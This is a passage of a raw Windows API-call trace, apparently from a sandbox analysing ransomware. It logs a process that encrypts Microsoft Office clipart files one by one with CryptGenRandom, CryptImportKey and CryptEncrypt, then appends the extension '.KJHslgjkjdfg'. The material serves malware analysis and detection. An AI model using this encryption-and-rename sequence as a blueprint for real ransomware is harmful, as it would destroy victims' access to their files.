liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.122] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.124] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.124] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.124] GetProcessHeap () returned 0x990000 [0189.124] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.124] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.124] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.124] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.124] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.124] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.125] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.125] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.125] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.125] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.125] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.125] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.125] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x96c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x96c, lpOverlapped=0x0) returned 1 [0189.125] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x970, dwBufLen=0x970 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x970) returned 1 [0189.125] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.125] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x970, lpOverlapped=0x0) returned 1 [0189.125] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.125] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.126] SetEndOfFile (hFile=0x130) returned 1 [0189.128] GetProcessHeap () returned 0x990000 [0189.128] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.128] GetProcessHeap () returned 0x990000 [0189.128] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.128] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.kjhslgjkjdfg")) returned 1 [0189.130] CloseHandle (hObject=0x130) returned 1 [0189.130] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ff1000, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ff1000, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01176_.WMF", cAlternateFileName="")) returned 1 [0189.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.130] GetProcessHeap () returned 0x990000 [0189.130] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.130] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.130] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.135] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.135] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.135] GetProcessHeap () returned 0x990000 [0189.135] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.135] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.135] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.135] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.136] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.136] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.136] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.136] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.136] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.136] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.136] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1378, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1378, lpOverlapped=0x0) returned 1 [0189.137] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1380, dwBufLen=0x1380 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1380) returned 1 [0189.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.138] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1380, lpOverlapped=0x0) returned 1 [0189.138] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.138] SetEndOfFile (hFile=0x130) returned 1 [0189.140] GetProcessHeap () returned 0x990000 [0189.140] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.140] GetProcessHeap () returned 0x990000 [0189.140] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.141] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.kjhslgjkjdfg")) returned 1 [0189.142] CloseHandle (hObject=0x130) returned 1 [0189.142] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d752900, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d752900, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xf7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01191_.WMF", cAlternateFileName="")) returned 1 [0189.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.143] GetProcessHeap () returned 0x990000 [0189.143] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.143] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.143] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.143] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.145] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.145] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.145] GetProcessHeap () returned 0x990000 [0189.145] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.145] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.146] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.146] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.146] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.146] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.146] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.146] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.146] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.146] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.146] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.146] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.146] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf7c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xf7c, lpOverlapped=0x0) returned 1 [0189.147] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf80, dwBufLen=0xf80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf80) returned 1 [0189.147] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.147] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xf80, lpOverlapped=0x0) returned 1 [0189.147] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.147] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.147] SetEndOfFile (hFile=0x130) returned 1 [0189.150] GetProcessHeap () returned 0x990000 [0189.150] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.150] GetProcessHeap () returned 0x990000 [0189.150] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.kjhslgjkjdfg")) returned 1 [0189.151] CloseHandle (hObject=0x130) returned 1 [0189.151] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97014c00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97014c00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x488, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01193_.WMF", cAlternateFileName="")) returned 1 [0189.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.151] GetProcessHeap () returned 0x990000 [0189.151] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.152] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.152] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.152] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.159] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.159] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.159] GetProcessHeap () returned 0x990000 [0189.159] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.159] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.159] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.159] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.159] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.159] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.159] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.160] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.160] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.160] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.160] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x488, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x488, lpOverlapped=0x0) returned 1 [0189.160] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x490, dwBufLen=0x490 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x490) returned 1 [0189.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.160] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x490, lpOverlapped=0x0) returned 1 [0189.160] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.160] SetEndOfFile (hFile=0x130) returned 1 [0189.163] GetProcessHeap () returned 0x990000 [0189.163] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.163] GetProcessHeap () returned 0x990000 [0189.163] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.163] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.kjhslgjkjdfg")) returned 1 [0189.164] CloseHandle (hObject=0x130) returned 1 [0189.164] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e1a200, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49e1a200, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x91c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01196_.WMF", cAlternateFileName="")) returned 1 [0189.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.165] GetProcessHeap () returned 0x990000 [0189.165] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.165] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.165] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.167] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.167] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.168] GetProcessHeap () returned 0x990000 [0189.168] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.168] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.168] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.168] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.168] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.168] WriteFile 